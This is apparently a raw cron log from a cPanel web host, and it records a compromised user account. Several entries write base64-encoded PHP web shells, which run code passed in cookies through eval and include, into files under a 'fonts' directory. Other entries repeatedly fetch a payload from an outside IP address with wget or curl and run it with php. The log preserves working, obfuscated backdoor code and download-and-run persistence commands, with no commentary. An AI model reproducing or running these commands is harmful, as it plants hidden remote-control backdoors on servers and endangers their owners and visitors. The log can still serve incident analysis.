Sep  7 00:46:01 ip-184-168-122-23 CROND[20823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:46:01 ip-184-168-122-23 CROND[20825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:46:01 ip-184-168-122-23 CROND[20824]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:46:01 ip-184-168-122-23 CROND[20828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:47:01 ip-184-168-122-23 CROND[20911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:47:01 ip-184-168-122-23 CROND[20913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:47:01 ip-184-168-122-23 CROND[20914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:47:01 ip-184-168-122-23 CROND[20916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:48:01 ip-184-168-122-23 CROND[20990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:48:01 ip-184-168-122-23 CROND[20993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:48:01 ip-184-168-122-23 CROND[20992]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:48:01 ip-184-168-122-23 CROND[20996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:48:01 ip-184-168-122-23 CROND[20997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:49:01 ip-184-168-122-23 CROND[21076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:49:01 ip-184-168-122-23 CROND[21077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:49:01 ip-184-168-122-23 CROND[21079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:49:01 ip-184-168-122-23 CROND[21080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:50:01 ip-184-168-122-23 CROND[21217]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:50:02 ip-184-168-122-23 CROND[21219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:50:02 ip-184-168-122-23 CROND[21221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:50:02 ip-184-168-122-23 CROND[21223]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:50:02 ip-184-168-122-23 CROND[21225]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 00:50:02 ip-184-168-122-23 CROND[21224]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:50:02 ip-184-168-122-23 CROND[21230]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 00:50:02 ip-184-168-122-23 CROND[21229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:50:02 ip-184-168-122-23 CROND[21231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:51:02 ip-184-168-122-23 CROND[21321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:51:02 ip-184-168-122-23 CROND[21325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:51:02 ip-184-168-122-23 CROND[21324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:51:02 ip-184-168-122-23 CROND[21326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:52:01 ip-184-168-122-23 CROND[21411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:52:01 ip-184-168-122-23 CROND[21415]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:52:01 ip-184-168-122-23 CROND[21416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:52:01 ip-184-168-122-23 CROND[21413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:52:01 ip-184-168-122-23 CROND[21414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:53:01 ip-184-168-122-23 CROND[21501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:53:01 ip-184-168-122-23 CROND[21503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:53:01 ip-184-168-122-23 CROND[21502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:53:01 ip-184-168-122-23 CROND[21505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:54:01 ip-184-168-122-23 CROND[21673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:54:01 ip-184-168-122-23 CROND[21674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:54:01 ip-184-168-122-23 CROND[21675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:54:01 ip-184-168-122-23 CROND[21671]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:54:01 ip-184-168-122-23 CROND[21672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:55:01 ip-184-168-122-23 CROND[21767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:55:01 ip-184-168-122-23 CROND[21771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:55:01 ip-184-168-122-23 CROND[21773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:55:01 ip-184-168-122-23 CROND[21769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:55:01 ip-184-168-122-23 CROND[21772]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:55:01 ip-184-168-122-23 CROND[21770]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:56:01 ip-184-168-122-23 CROND[21853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:56:01 ip-184-168-122-23 CROND[21855]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:56:01 ip-184-168-122-23 CROND[21856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:56:01 ip-184-168-122-23 CROND[21857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:56:01 ip-184-168-122-23 CROND[21858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:57:01 ip-184-168-122-23 CROND[21939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:57:01 ip-184-168-122-23 CROND[21940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:57:01 ip-184-168-122-23 CROND[21943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:57:01 ip-184-168-122-23 CROND[21941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:58:01 ip-184-168-122-23 CROND[22017]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 00:58:01 ip-184-168-122-23 CROND[22019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:58:01 ip-184-168-122-23 CROND[22018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:58:01 ip-184-168-122-23 CROND[22021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
